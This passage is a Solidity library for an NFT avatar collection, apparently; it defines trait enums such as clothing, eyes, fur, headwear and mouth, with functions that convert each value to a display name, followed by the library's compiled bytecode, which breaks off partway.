BLUE_SKY,
RED_SKY,
GREEN_SKY
}
enum Clothing {
MARTIAL_SUIT,
AMETHYST_ARMOR,
SHIRT_AND_TIE,
THUNDERDOME_ARMOR,
FLEET_UNIFORM__BLUE,
BANANITE_SHIRT,
EXPLORER,
COSMIC_GHILLIE_SUIT__BLUE,
COSMIC_GHILLIE_SUIT__GOLD,
CYBER_JUMPSUIT,
ENCHANTER_ROBES,
HOODIE,
SPACESUIT,
MECHA_ARMOR,
LAB_COAT,
FLEET_UNIFORM__RED,
GOLD_ARMOR,
ENERGY_ARMOR__BLUE,
ENERGY_ARMOR__RED,
MISSION_SUIT__BLACK,
MISSION_SUIT__PURPLE,
COWBOY,
GLITCH_ARMOR,
NONE
}
enum Eyes {
SPACE_VISOR,
ADORABLE,
VETERAN,
SUNGLASSES,
WHITE_SUNGLASSES,
RED_EYES,
WINK,
CASUAL,
CLOSED,
DOWNCAST,
HAPPY,
BLUE_EYES,
HUD_GLASSES,
DARK_SUNGLASSES,
NIGHT_VISION_GOGGLES,
BIONIC,
HIVE_GOGGLES,
MATRIX_GLASSES,
GREEN_GLOW,
ORANGE_GLOW,
RED_GLOW,
PURPLE_GLOW,
BLUE_GLOW,
SKY_GLOW,
RED_LASER,
BLUE_LASER,
GOLDEN_SHADES,
HIPSTER_GLASSES,
PINCENEZ,
BLUE_SHADES,
BLIT_GLASSES,
NOUNS_GLASSES
}
enum Fur {
MAGENTA,
BLUE,
GREEN,
RED,
BLACK,
BROWN,
SILVER,
PURPLE,
PINK,
SEANCE,
TURQUOISE,
CRIMSON,
GREENYELLOW,
GOLD,
DIAMOND,
METALLIC
}
enum Head {
HALO,
ENERGY_FIELD,
BLUE_TOP_HAT,
RED_TOP_HAT,
ENERGY_CRYSTAL,
CROWN,
BANDANA,
BUCKET_HAT,
HOMBURG_HAT,
PROPELLER_HAT,
HEADBAND,
DORAG,
PURPLE_COWBOY_HAT,
SPACESUIT_HELMET,
PARTY_HAT,
CAP,
LEATHER_COWBOY_HAT,
CYBER_HELMET__BLUE,
CYBER_HELMET__RED,
SAMURAI_HAT,
NONE
}
enum Mouth {
SMIRK,
SURPRISED,
SMILE,
PIPE,
OPEN_SMILE,
NEUTRAL,
MASK,
TONGUE_OUT,
GOLD_GRILL,
DIAMOND_GRILL,
NAVY_RESPIRATOR,
RED_RESPIRATOR,
MAGENTA_RESPIRATOR,
GREEN_RESPIRATOR,
MEMPO,
VAPE,
PILOT_OXYGEN_MASK,
CIGAR,
BANANA,
CHROME_RESPIRATOR,
STOIC
}
library Enums {
function toString(Accessory v) external pure returns (string memory) {
if (v == Accessory.GOLD_EARRINGS) {
return "Gold Earrings";
}
if (v == Accessory.SCARS) {
return "Scars";
}
if (v == Accessory.GOLDEN_CHAIN) {
return "Golden Chain";
}
if (v == Accessory.AMULET) {
return "Amulet";
}
if (v == Accessory.CUBAN_LINK_GOLD_CHAIN) {
return "Cuban Link Gold Chain";
}
if (v == Accessory.FANNY_PACK) {
return "Fanny Pack";
}
if (v == Accessory.NONE) {
return "None";
}
revert("invalid accessory");
}
function toString(BackAccessory v) external pure returns (string memory) {
if (v == BackAccessory.NETRUNNER) {
return "Netrunner";
}
if (v == BackAccessory.MERCENARY) {
return "Mercenary";
}
if (v == BackAccessory.RONIN) {
return "Ronin";
}
if (v == BackAccessory.ENCHANTER) {
return "Enchanter";
}
if (v == BackAccessory.VANGUARD) {
return "Vanguard";
}
if (v == BackAccessory.MINER) {
return "Miner";
}
if (v == BackAccessory.PATHFINDER) {
return "Pathfinder";
}
if (v == BackAccessory.SCOUT) {
return "Scout";
}
revert("invalid back accessory");
}
function toString(Background v) external pure returns (string memory) {
if (v == Background.STARRY_PINK) {
return "Starry Pink";
}
if (v == Background.STARRY_YELLOW) {
return "Starry Yellow";
}
if (v == Background.STARRY_PURPLE) {
return "Starry Purple";
}
if (v == Background.STARRY_GREEN) {
return "Starry Green";
}
if (v == Background.NEBULA) {
return "Nebula";
}
if (v == Background.STARRY_RED) {
return "Starry Red";
}
if (v == Background.STARRY_BLUE) {
return "Starry Blue";
}
if (v == Background.SUNSET) {
return "Sunset";
}
if (v == Background.MORNING) {
return "Morning";
}
if (v == Background.INDIGO) {
return "Indigo";
}
if (v == Background.CITY__PURPLE) {
return "City - Purple";
}
if (v == Background.CONTROL_ROOM) {
return "Control Room";
}
if (v == Background.LAB) {
return "Lab";
}
if (v == Background.GREEN) {
return "Green";
}
if (v == Background.ORANGE) {
return "Orange";
}
if (v == Background.PURPLE) {
return "Purple";
}
if (v == Background.CITY__GREEN) {
return "City - Green";
}
if (v == Background.CITY__RED) {
return "City - Red";
}
if (v == Background.STATION) {
return "Station";
}
if (v == Background.BOUNTY) {
return "Bounty";
}
if (v == Background.BLUE_SKY) {
return "Blue Sky";
}
if (v == Background.RED_SKY) {
return "Red Sky";
}
if (v == Background.GREEN_SKY) {
return "Green Sky";
}
revert("invalid background");
}
function toString(Clothing v) external pure returns (string memory) {
if (v == Clothing.MARTIAL_SUIT) {
return "Martial Suit";
}
if (v == Clothing.AMETHYST_ARMOR) {
return "Amethyst Armor";
}
if (v == Clothing.SHIRT_AND_TIE) {
return "Shirt and Tie";
}
if (v == Clothing.THUNDERDOME_ARMOR) {
return "Thunderdome Armor";
}
if (v == Clothing.FLEET_UNIFORM__BLUE) {
return "Fleet Uniform - Blue";
}
if (v == Clothing.BANANITE_SHIRT) {
return "Bananite Shirt";
}
if (v == Clothing.EXPLORER) {
return "Explorer";
}
if (v == Clothing.COSMIC_GHILLIE_SUIT__BLUE) {
return "Cosmic Ghillie Suit - Blue";
}
if (v == Clothing.COSMIC_GHILLIE_SUIT__GOLD) {
return "Cosmic Ghillie Suit - Gold";
}
if (v == Clothing.CYBER_JUMPSUIT) {
return "Cyber Jumpsuit";
}
if (v == Clothing.ENCHANTER_ROBES) {
return "Enchanter Robes";
}
if (v == Clothing.HOODIE) {
return "Hoodie";
}
if (v == Clothing.SPACESUIT) {
return "Spacesuit";
}
if (v == Clothing.MECHA_ARMOR) {
return "Mecha Armor";
}
if (v == Clothing.LAB_COAT) {
return "Lab Coat";
}
if (v == Clothing.FLEET_UNIFORM__RED) {
return "Fleet Uniform - Red";
}
if (v == Clothing.GOLD_ARMOR) {
return "Gold Armor";
}
if (v == Clothing.ENERGY_ARMOR__BLUE) {
return "Energy Armor - Blue";
}
if (v == Clothing.ENERGY_ARMOR__RED) {
return "Energy Armor - Red";
}
if (v == Clothing.MISSION_SUIT__BLACK) {
return "Mission Suit - Black";
}
if (v == Clothing.MISSION_SUIT__PURPLE) {
return "Mission Suit - Purple";
}
if (v == Clothing.COWBOY) {
return "Cowboy";
}
if (v == Clothing.GLITCH_ARMOR) {
return "Glitch Armor";
}
if (v == Clothing.NONE) {
return "None";
}
revert("invalid clothing");
}
function toString(Eyes v) external pure returns (string memory) {
if (v == Eyes.SPACE_VISOR) {
return "Space Visor";
}
if (v == Eyes.ADORABLE) {
return "Adorable";
}
if (v == Eyes.VETERAN) {
return "Veteran";
}
if (v == Eyes.SUNGLASSES) {
return "Sunglasses";
}
if (v == Eyes.WHITE_SUNGLASSES) {
return "White Sunglasses";
}
if (v == Eyes.RED_EYES) {
return "Red Eyes";
}
if (v == Eyes.WINK) {
return "Wink";
}
if (v == Eyes.CASUAL) {
return "Casual";
}
if (v == Eyes.CLOSED) {
return "Closed";
}
if (v == Eyes.DOWNCAST) {
return "Downcast";
}
if (v == Eyes.HAPPY) {
return "Happy";
}
if (v == Eyes.BLUE_EYES) {
return "Blue Eyes";
}
if (v == Eyes.HUD_GLASSES) {
return "HUD Glasses";
}
if (v == Eyes.DARK_SUNGLASSES) {
return "Dark Sunglasses";
}
if (v == Eyes.NIGHT_VISION_GOGGLES) {
return "Night Vision Goggles";
}
if (v == Eyes.BIONIC) {
return "Bionic";
}
if (v == Eyes.HIVE_GOGGLES) {
return "Hive Goggles";
}
if (v == Eyes.MATRIX_GLASSES) {
return "Matrix Glasses";
}
if (v == Eyes.GREEN_GLOW) {
return "Green Glow";
}
if (v == Eyes.ORANGE_GLOW) {
return "Orange Glow";
}
if (v == Eyes.RED_GLOW) {
return "Red Glow";
}
if (v == Eyes.PURPLE_GLOW) {
return "Purple Glow";
}
if (v == Eyes.BLUE_GLOW) {
return "Blue Glow";
}
if (v == Eyes.SKY_GLOW) {
return "Sky Glow";
}
if (v == Eyes.RED_LASER) {
return "Red Laser";
}
if (v == Eyes.BLUE_LASER) {
return "Blue Laser";
}
if (v == Eyes.GOLDEN_SHADES) {
return "Golden Shades";
}
if (v == Eyes.HIPSTER_GLASSES) {
return "Hipster Glasses";
}
if (v == Eyes.PINCENEZ) {
return "Pince-nez";
}
if (v == Eyes.BLUE_SHADES) {
return "Blue Shades";
}
if (v == Eyes.BLIT_GLASSES) {
return "Blit GLasses";
}
if (v == Eyes.NOUNS_GLASSES) {
return "Nouns Glasses";
}
revert("invalid eyes");
}
function toString(Fur v) external pure returns (string memory) {
if (v == Fur.MAGENTA) {
return "Magenta";
}
if (v == Fur.BLUE) {
return "Blue";
}
if (v == Fur.GREEN) {
return "Green";
}
if (v == Fur.RED) {
return "Red";
}
if (v == Fur.BLACK) {
return "Black";
}
if (v == Fur.BROWN) {
return "Brown";
}
if (v == Fur.SILVER) {
return "Silver";
}
if (v == Fur.PURPLE) {
return "Purple";
}
if (v == Fur.PINK) {
return "Pink";
}
if (v == Fur.SEANCE) {
return "Seance";
}
if (v == Fur.TURQUOISE) {
return "Turquoise";
}
if (v == Fur.CRIMSON) {
return "Crimson";
}
if (v == Fur.GREENYELLOW) {
return "Green-Yellow";
}
if (v == Fur.GOLD) {
return "Gold";
}
if (v == Fur.DIAMOND) {
return "Diamond";
}
if (v == Fur.METALLIC) {
return "Metallic";
}
revert("invalid fur");
}
function toString(Head v) external pure returns (string memory) {
if (v == Head.HALO) {
return "Halo";
}
if (v == Head.ENERGY_FIELD) {
return "Energy Field";
}
if (v == Head.BLUE_TOP_HAT) {
return "Blue Top Hat";
}
if (v == Head.RED_TOP_HAT) {
return "Red Top Hat";
}
if (v == Head.ENERGY_CRYSTAL) {
return "Energy Crystal";
}
if (v == Head.CROWN) {
return "Crown";
}
if (v == Head.BANDANA) {
return "Bandana";
}
if (v == Head.BUCKET_HAT) {
return "Bucket Hat";
}
if (v == Head.HOMBURG_HAT) {
return "Homburg Hat";
}
if (v == Head.PROPELLER_HAT) {
return "Propeller Hat";
}
if (v == Head.HEADBAND) {
return "Headband";
}
if (v == Head.DORAG) {
return "Do-rag";
}
if (v == Head.PURPLE_COWBOY_HAT) {
return "Purple Cowboy Hat";
}
if (v == Head.SPACESUIT_HELMET) {
return "Spacesuit Helmet";
}
if (v == Head.PARTY_HAT) {
return "Party Hat";
}
if (v == Head.CAP) {
return "Cap";
}
if (v == Head.LEATHER_COWBOY_HAT) {
return "Leather Cowboy Hat";
}
if (v == Head.CYBER_HELMET__BLUE) {
return "Cyber Helmet - Blue";
}
if (v == Head.CYBER_HELMET__RED) {
return "Cyber Helmet - Red";
}
if (v == Head.SAMURAI_HAT) {
return "Samurai Hat";
}
if (v == Head.NONE) {
return "None";
}
revert("invalid head");
}
function toString(Mouth v) external pure returns (string memory) {
if (v == Mouth.SMIRK) {
return "Smirk";
}
if (v == Mouth.SURPRISED) {
return "Surprised";
}
if (v == Mouth.SMILE) {
return "Smile";
}
if (v == Mouth.PIPE) {
return "Pipe";
}
if (v == Mouth.OPEN_SMILE) {
return "Open Smile";
}
if (v == Mouth.NEUTRAL) {
return "Neutral";
}
if (v == Mouth.MASK) {
return "Mask";
}
if (v == Mouth.TONGUE_OUT) {
return "Tongue Out";
}
if (v == Mouth.GOLD_GRILL) {
return "Gold Grill";
}
if (v == Mouth.DIAMOND_GRILL) {
return "Diamond Grill";
}
if (v == Mouth.NAVY_RESPIRATOR) {
return "Navy Respirator";
}
if (v == Mouth.RED_RESPIRATOR) {
return "Red Respirator";
}
if (v == Mouth.MAGENTA_RESPIRATOR) {
return "Magenta Respirator";
}
if (v == Mouth.GREEN_RESPIRATOR) {
return "Green Respirator";
}
if (v == Mouth.MEMPO) {
return "Mempo";
}
if (v == Mouth.VAPE) {
return "Vape";
}
if (v == Mouth.PILOT_OXYGEN_MASK) {
return "Pilot Oxygen Mask";
}
if (v == Mouth.CIGAR) {
return "Cigar";
}
if (v == Mouth.BANANA) {
return "Banana";
}
if (v == Mouth.CHROME_RESPIRATOR) {
return "Chrome Respirator";
}
if (v == Mouth.STOIC) {
return "Stoic";
}
revert("invalid mouth");
}
}
|
0x73687974c40cbe3cd6592f6ebc47eb44924df24ff230146080604052600436106100925760003560e01c80638f16ffe8116100655780638f16ffe8146100f9578063a06e609d1461010c578063b7c035a71461011f578063d343c3e81461013257600080fd5b80635d17c99714610097578063639689ca146100c057806366ca17ac146100d3578063786fe073146100e6575b600080fd5b6100aa6100a5366004612933565b610145565b6040516100b7919061295b565b60405180910390f35b6100aa6100ce3660046129b0565b610988565b6100aa6100e13660046129d1565b610b87565b6100aa6100f4366004612a02565b610f81565b6100aa610107366004612a1f565b61150c565b6100aa61011a366004612a02565b611bb5565b6100aa61012d366004612a40565b612124565b6100aa610140366004612a61565b612353565b6060600082601f81111561015b5761015b612a82565b141561018857505060408051808201909152600b81526a29b830b1b2902b34b9b7b960a91b602082015290565b600182601f81111561019c5761019c612a82565b14156101c657505060408051808201909152600881526741646f7261626c6560c01b602082015290565b600282601f8111156101da576101da612a82565b14156102035750506040805180820190915260078152662b32ba32b930b760c91b602082015290565b600382601f81111561021757610217612a82565b141561024357505060408051808201909152600a81526953756e676c617373657360b01b602082015290565b600482601f81111561025757610257612a82565b141561028957505060408051808201909152601081526f57686974652053756e676c617373657360801b602082015290565b600582601f81111561029d5761029d612a82565b14156102c7575050604080518082019091526008815267526564204579657360c01b602082015290565b600682601f8111156102db576102db612a82565b141561030157505060408051808201909152600481526357696e6b60e01b602082015290565b600782601f81111561031557610315612a82565b141561033d57505060408051808201909152600681526510d85cdd585b60d21b602082015290565b600882601f81111561035157610351612a82565b141561037957505060408051808201909152600681526510db1bdcd95960d21b602082015290565b600982601f81111561038d5761038d612a82565b14156103b7575050604080518082019091526008815267111bdddb98d85cdd60c21b602082015290565b600a82601f8111156103cb576103cb612a82565b14156103f2575050604080518082019091526005815264486170707960d81b602082015290565b600b82601f81111561040657610406612a82565b1415610431575050604080518082019091526009815268426c7565204579657360b81b602082015290565b600c82601f81111561044557610445612a82565b141561047257505060408051808201909152600b81526a48554420476c617373657360a81b602082015290565b600d82601f81111561048657610486612a82565b14156104b757505060408051808201909152600f81526e4461726b2053756e676c617373657360881b602082015290565b600e82601f8111156104cb576104cb612a82565b14156105015750506040805180820190915260148152734e6967687420566973696f6e20476f67676c657360601b602082015290565b600f82601f81111561051557610515612a82565b141561053d57505060408051808201909152600681526542696f6e696360d01b602082015290565b601082601f81111561055157610551612a82565b141561057f57505060408051808201909152600c81526b4869766520476f67676c657360a01b602082015290565b601182601f81111561059357610593612a82565b14156105c357505060408051808201909152600e81526d4d617472697820476c617373657360901b602082015290565b601282601f8111156105d7576105d7612a82565b141561060357505060408051808201909152600a815269477265656e20476c6f7760b01b602082015290565b601382601f81111561061757610617612a82565b141561064457505060408051808201909152600b81526a4f72616e676520476c6f7760a81b602082015290565b601482601f81111561065857610658612a82565b141561068257505060408051808201909152600881526752656420476c6f7760c01b602082015290565b601582601f81111561069657610696612a82565b14156106c357505060408051808201909152600b81526a507572706c6520476c6f7760a81b602082015290565b601682601f8111156106d7576106d7612a82565b1415610702575050604080518082019091526009815268426c756520476c6f7760b81b602082015290565b601782601f81111561071657610716612a82565b1415610740575050604080518082019091526008815267536b7920476c6f7760c01b602082015290565b601882601f81111561075457610754612a82565b141561077f5750506040805180820190915260098152682932b2102630b9b2b960b91b602082015290565b601982601f81111561079357610793612a82565b14156107bf57505060408051808201909152600a81526921363ab2902630b9b2b960b11b602082015290565b601a82601f8111156107d3576107d3612a82565b141561080257505060408051808201909152600d81526c476f6c64656e2053686164657360981b602082015290565b601b82601f81111561081657610816612a82565b141561084757505060408051808201909152600f81526e4869707374657220476c617373657360881b602082015290565b601c82601f81111561085b5761085b612a82565b14156108865750506040805180820190915260098152682834b731b296b732bd60b91b602082015290565b601d82601f81111561089a5761089a612a82565b14156108c757505060408051808201909152600b81526a426c75652053686164657360a81b602082015290565b601e82601f8111156108db576108db612a82565b141561090957505060408051808201909152600c81526b426c697420474c617373657360a01b602082015290565b601f82601f81111561091d5761091d612a82565b141561094c57505060408051808201909152600d81526c4e6f756e7320476c617373657360981b602082015290565b60405162461bcd60e51b815260206004820152600c60248201526b696e76616c6964206579657360a01b60448201526064015b60405180910390fd5b6060600082600681111561099e5761099e612a82565b14156109cd57505060408051808201909152600d81526c476f6c642045617272696e677360981b602082015290565b60018260068111156109e1576109e1612a82565b1415610a08575050604080518082019091526005815264536361727360d81b602082015290565b6002826006811115610a1c57610a1c612a82565b1415610a4a57505060408051808201909152600c81526b23b7b63232b71021b430b4b760a11b602082015290565b6003826006811115610a5e57610a5e612a82565b1415610a86575050604080518082019091526006815265105b5d5b195d60d21b602082015290565b6004826006811115610a9a57610a9a612a82565b1415610ad157505060408051808201909152601581527421bab130b7102634b7359023b7b6321021b430b4b760591b602082015290565b6005826006811115610ae557610ae5612a82565b1415610b1157505060408051808201909152600a81526946616e6e79205061636b60b01b602082015290565b6006826006811115610b2557610b25612a82565b1415610b4b5750506040805180820190915260048152634e6f6e6560e01b602082015290565b60405162461bcd60e51b8152602060048201526011602482015270696e76616c6964206163636573736f727960781b604482015260640161097f565b6060600082600f811115610b9d57610b9d612a82565b1415610bc65750506040805180820190915260078152664d6167656e746160c81b602082015290565b600182600f811115610bda57610bda612a82565b1415610c00575050604080518082019091526004815263426c756560e01b602082015290565b600282600f811115610c1457610c14612a82565b1415610c3b57505060408051808201909152600581526423b932b2b760d91b602082015290565b600382600f811115610c4f57610c4f612a82565b1415610c7457505060408051808201909152600381526214995960ea1b602082015290565b600482600f811115610c8857610c88612a82565b1415610caf575050604080518082019091526005815264426c61636b60d81b602082015290565b600582600f811115610cc357610cc3612a82565b1415610cea575050604080518082019091526005815264213937bbb760d91b602082015290565b600682600f811115610cfe57610cfe612a82565b1415610d2657505060408051808201909152600681526529b4b63b32b960d11b602082015290565b600782600f811115610d3a57610d3a612a82565b1415610d62575050604080518082019091526006815265507572706c6560d01b602082015290565b600882600f811115610d7657610d76612a82565b1415610d9c57505060408051808201909152600481526350696e6b60e01b602082015290565b600982600f811115610db057610db0612a82565b1415610dd85750506040805180820190915260068152655365616e636560d01b602082015290565b600a82600f811115610dec57610dec612a82565b1415610e1757505060408051808201909152600981526854757271756f69736560b81b602082015290565b600b82600f811115610e2b57610e2b612a82565b1415610e5457505060408051808201909152600781526621b934b6b9b7b760c91b602082015290565b600c82600f811115610e6857610e68612a82565b1415610e9657505060408051808201909152600c81526b477265656e2d59656c6c6f7760a01b602082015290565b600d82600f811115610eaa57610eaa612a82565b1415610ed057505060408051808201909152600481526311dbdb1960e21b602082015290565b600e82600f811115610ee457610ee4612a82565b1415610f0d575050604080518082019091526007815266111a585b5bdb9960ca1b602082015290565b600f82600f811115610f2157610f21612a82565b1415610f4b5750506040805180820190915260088152674d6574616c6c696360c01b602082015290565b60405162461bcd60e51b815260206004820152600b60248201526a34b73b30b634b210333ab960a91b604482015260640161097f565b60606000826014811115610f9757610f97612a82565b1415610fbd57505060408051808201909152600481526348616c6f60e01b602082015290565b6001826014811115610fd157610fd1612a82565b1415610fff57505060408051808201909152600c81526b115b995c99de48119a595b1960a21b602082015290565b600282601481111561101357611013612a82565b141561104157505060408051808201909152600c81526b109b1d5948151bdc0812185d60a21b602082015290565b600382601481111561105557611055612a82565b141561108257505060408051808201909152600b81526a14995908151bdc0812185d60aa1b602082015290565b600482601481111561109657611096612a82565b14156110c657505060408051808201909152600e81526d115b995c99de4810dc9e5cdd185b60921b602082015290565b60058260148111156110da576110da612a82565b141561110157505060408051808201909152600581526421b937bbb760d91b602082015290565b600682601481111561111557611115612a82565b141561113e57505060408051808201909152600781526642616e64616e6160c81b602082015290565b600782601481111561115257611152612a82565b141561117e57505060408051808201909152600a815269109d58dad95d0812185d60b21b602082015290565b600882601481111561119257611192612a82565b14156111bf57505060408051808201909152600b81526a121bdb589d5c99c812185d60aa1b602082015290565b60098260148111156111d3576111d3612a82565b141561120257505060408051808201909152600d81526c141c9bdc195b1b195c8812185d609a1b602082015290565b600a82601481111561121657611216612a82565b14156112405750506040805180820190915260088152671219585918985b9960c21b602082015290565b600b82601481111561125457611254612a82565b141561127c575050604080518082019091526006815265446f2d72616760d01b602082015290565b600c82601481111561129057611290612a82565b14156112c3575050604080518082019091526011815270141d5c9c1b194810dbddd89bde4812185d607a1b602082015290565b600d8260148111156112d7576112d7612a82565b141561130957505060408051808201909152601081526f14dc1858d95cdd5a5d0812195b1b595d60821b602082015290565b600e82601481111561131d5761131d612a82565b141561134857505060408051808201909152600981526814185c9d1e4812185d60ba1b602082015290565b600f82601481111561135c5761135c612a82565b141561138157505060408051808201909152600381526204361760ec1b602082015290565b601082601481111561139557611395612a82565b14156113c95750506040805180820190915260128152711319585d1a195c8810dbddd89bde4812185d60721b602082015290565b60118260148111156113dd576113dd612a82565b141561141257505060408051808201909152601381527243796265722048656c6d6574202d20426c756560681b602082015290565b601282601481111561142657611426612a82565b141561145a57505060408051808201909152601281527110de58995c8812195b1b595d080b4814995960721b602082015290565b601382601481111561146e5761146e612a82565b141561149b57505060408051808201909152600b81526a14d85b5d5c985a4812185d60aa1b602082015290565b60148260148111156114af576114af612a82565b14156114d55750506040805180820190915260048152634e6f6e6560e01b602082015290565b60405162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a59081a19585960a21b604482015260640161097f565b6060600082601781111561152257611522612a82565b141561155057505060408051808201909152600c81526b13585c9d1a585b0814dd5a5d60a21b602082015290565b600182601781111561156457611564612a82565b141561159457505060408051808201909152600e81526d20b6b2ba343cb9ba1020b936b7b960911b602082015290565b60028260178111156115a8576115a8612a82565b14156115d757505060408051808201909152600d81526c536869727420616e642054696560981b602082015290565b60038260178111156115eb576115eb612a82565b141561161e5750506040805180820190915260118152702a343ab73232b93237b6b29020b936b7b960791b602082015290565b600482601781111561163257611632612a82565b1415611668575050604080518082019091526014815273466c65657420556e69666f726d202d20426c756560601b602082015290565b600582601781111561167c5761167c612a82565b14156116ac57505060408051808201909152600e81526d10985b985b9a5d194814da1a5c9d60921b602082015290565b60068260178111156116c0576116c0612a82565b14156116ea57505060408051808201909152600881526722bc383637b932b960c11b602082015290565b60078260178111156116fe576116fe612a82565b141561173d57505060408051808201909152601a81527f436f736d6963204768696c6c69652053756974202d20426c7565000000000000602082015290565b600882601781111561175157611751612a82565b141561179057505060408051808201909152601a81527f436f736d6963204768696c6c69652053756974202d20476f6c64000000000000602082015290565b60098260178111156117a4576117a4612a82565b14156117d457505060408051808201909152600e81526d10de58995c88129d5b5c1cdd5a5d60921b602082015290565b600a8260178111156117e8576117e8612a82565b141561181957505060408051808201909152600f81526e456e6368616e74657220526f62657360881b602082015290565b600b82601781111561182d5761182d612a82565b1415611855575050604080518082019091526006815265486f6f64696560d01b602082015290565b600c82601781111561186957611869612a82565b141561189457505060408051808201909152600981526814dc1858d95cdd5a5d60ba1b602082015290565b600d8260178111156118a8576118a8612a82565b14156118d557505060408051808201909152600b81526a26b2b1b4309020b936b7b960a91b602082015290565b600e8260178111156118e9576118e9612a82565b14156119135750506040805180820190915260088152671318588810dbd85d60c21b602082015290565b600f82601781111561192757611927612a82565b141561195c575050604080518082019091526013815272119b19595d08155b9a599bdc9b480b48149959606a1b602082015290565b601082601781111561197057611970612a82565b141561199c57505060408051808201909152600a81526923b7b6321020b936b7b960b11b602082015290565b60118260178111156119b0576119b0612a82565b14156119e5575050604080518082019091526013815272456e657267792041726d6f72202d20426c756560681b602082015290565b60128260178111156119f9576119f9612a82565b1415611a2d575050604080518082019091526012815271115b995c99de48105c9b5bdc880b4814995960721b602082015290565b6013826017811115611a4157611a41612a82565b1415611a775750506040805180820190915260148152734d697373696f6e2053756974202d20426c61636b60601b602082015290565b6014826017811115611a8b57611a8b612a82565b1415611ac25750506040805180820190915260158152744d697373696f6e2053756974202d20507572706c6560581b602082015290565b6015826017811115611ad657611ad6612a82565b1415611afe575050604080518082019091526006815265436f77626f7960d01b602082015290565b6016826017811115611b1257611b12612a82565b1415611b4057505060408051808201909152600c81526b23b634ba31b41020b936b7b960a11b602082015290565b6017826017811115611b5457611b54612a82565b1415611b7a5750506040805180820190915260048152634e6f6e6560e01b602082015290565b60405162461bcd60e51b815260206004820152601060248201526f696e76616c696420636c6f7468696e6760801b604482015260640161097f565b60606000826014811115611bcb57611bcb612a82565b1415611bf2575050604080518082019091526005815264536d69726b60d81b602082015290565b6001826014811115611c0657611c06612a82565b1415611c3157505060408051808201909152600981526814dd5c9c1c9a5cd95960ba1b602082015290565b6002826014811115611c4557611c45612a82565b1415611c6c575050604080518082019091526005815264536d696c6560d81b602082015290565b6003826014811115611c8057611c80612a82565b1415611ca65750506040805180820190915260048152635069706560e01b602082015290565b6004826014811115611cba57611cba612a82565b1415611ce657505060408051808201909152600a8152694f70656e20536d696c6560b01b602082015290565b6005826014811115611cfa57611cfa612a82565b1415611d2357505060408051808201909152600781526613995d5d1c985b60ca1b602082015290565b6006826014811115611d3757611d37612a82565b1415611d5d5750506040805180820190915260048152634d61736b60e01b602082015290565b6007826014811115611d7157611d71612a82565b1415611d9d57505060408051808201909152600a815269151bdb99dd594813dd5d60b21b602082015290565b6008826014811115611db157611db1612a82565b1415611ddd57505060408051808201909152600a81526911dbdb190811dc9a5b1b60b21b602082015290565b6009826014811115611df157611df1612a82565b1415611e2057505060408051808201909152600d81526c111a585b5bdb990811dc9a5b1b609a1b602082015290565b600a826014811115611e3457611e34612a82565b1415611e6557505060408051808201909152600f81526e2730bb3c902932b9b834b930ba37b960891b602082015290565b600b826014811115611e7957611e79612a82565b1415611ea957505060408051808201909152600e81526d2932b2102932b9b834b930ba37b960911b602082015290565b600c826014811115611ebd57611ebd612a82565b1415611ef157505060408051808201909152601281527126b0b3b2b73a30902932b9b834b930ba37b960711b602082015290565b600d826014811115611f0557611f05612a82565b1415611f3757505060408051808201909152601081526f23b932b2b7102932b9b834b930ba37b960811b602082015290565b600e826014811115611f4b57611f4b612a82565b1415611f725750506040805180820190915260058152644d656d706f60d81b602082015290565b600f826014811115611f8657611f86612a82565b1415611fac5750506040805180820190915260048152635661706560e01b602082015290565b6010826014811115611fc057611fc0612a82565b1415611ff357505060408051808201909152601181527050696c6f74204f787967656e204d61736b60781b602082015290565b601182601481111561200757612007612a82565b141561202e57505060408051808201909152600581526421b4b3b0b960d91b602082015290565b601282601481111561204257612042612a82565b141561206a57505060408051808201909152600681526542616e616e6160d01b602082015290565b601382601481111561207e5761207e612a82565b14156120b157505060408051808201909152601181527021b43937b6b2902932b9b834b930ba37b960791b602082015290565b60148260148111156120c5576120c5612a82565b14156120ec57505060408051808201909152600581526453746f696360d81b602082015290565b60405162461bcd60e51b815260206004820152600d60248201526c0d2dcecc2d8d2c840dadeeae8d609b1b604482015260640161097f565b6060600082600781111561213a5761213a612a82565b14156121655750506040805180820190915260098152682732ba393ab73732b960b91b602082015290565b600182600781111561217957612179612a82565b14156121a45750506040805180820190915260098152684d657263656e61727960b81b602082015290565b60028260078111156121b8576121b8612a82565b14156121df5750506040805180820190915260058152642937b734b760d91b602082015290565b60038260078111156121f3576121f3612a82565b141561221e57505060408051808201909152600981526822b731b430b73a32b960b91b602082015290565b600482600781111561223257612232612a82565b141561225c57505060408051808201909152600881526715985b99dd585c9960c21b602082015290565b600582600781111561227057612270612a82565b141561229757505060408051808201909152600581526426b4b732b960d91b602082015290565b60068260078111156122ab576122ab612a82565b14156122d757505060408051808201909152600a8152692830ba343334b73232b960b11b602082015290565b60078260078111156122eb576122eb612a82565b141561231257505060408051808201909152600581526414d8dbdd5d60da1b602082015290565b60405162461bcd60e51b8152602060048201526016602482015275696e76616c6964206261636b206163636573736f727960501b604482015260640161097f565b6060600082601681111561236957612369612a82565b141561239657505060408051808201909152600b81526a5374617272792050696e6b60a81b602082015290565b60018260168111156123aa576123aa612a82565b14156123d957505060408051808201909152600d81526c5374617272792059656c6c6f7760981b602082015290565b60028260168111156123ed576123ed612a82565b141561241c57505060408051808201909152600d81526c53746172727920507572706c6560981b602082015290565b600382601681111561243057612430612a82565b141561245e57505060408051808201909152600c81526b29ba30b9393c9023b932b2b760a11b602082015290565b600482601681111561247257612472612a82565b141561249a5750506040805180820190915260068152654e6562756c6160d01b602082015290565b60058260168111156124ae576124ae612a82565b14156124da57505060408051808201909152600a81526914dd185c9c9e4814995960b21b602082015290565b60068260168111156124ee576124ee612a82565b141561251b57505060408051808201909152600b81526a53746172727920426c756560a81b602082015290565b600782601681111561252f5761252f612a82565b141561255757505060408051808201909152600681526514dd5b9cd95d60d21b602082015290565b600882601681111561256b5761256b612a82565b14156125945750506040805180820190915260078152664d6f726e696e6760c81b602082015290565b60098260168111156125a8576125a8612a82565b14156125d0575050604080518082019091526006815265496e6469676f60d01b602082015290565b600a8260168111156125e4576125e4612a82565b141561261357505060408051808201909152600d81526c43697479202d20507572706c6560981b602082015290565b600b82601681111561262757612627612a82565b141561265557505060408051808201909152600c81526b436f6e74726f6c20526f6f6d60a01b602082015290565b600c82601681111561266957612669612a82565b141561268e5750506040805180820190915260038152622630b160e91b602082015290565b600d8260168111156126a2576126a2612a82565b14156126c957505060408051808201909152600581526423b932b2b760d91b602082015290565b600e8260168111156126dd576126dd612a82565b14156127055750506040805180820190915260068152654f72616e676560d01b602082015290565b600f8260168111156127195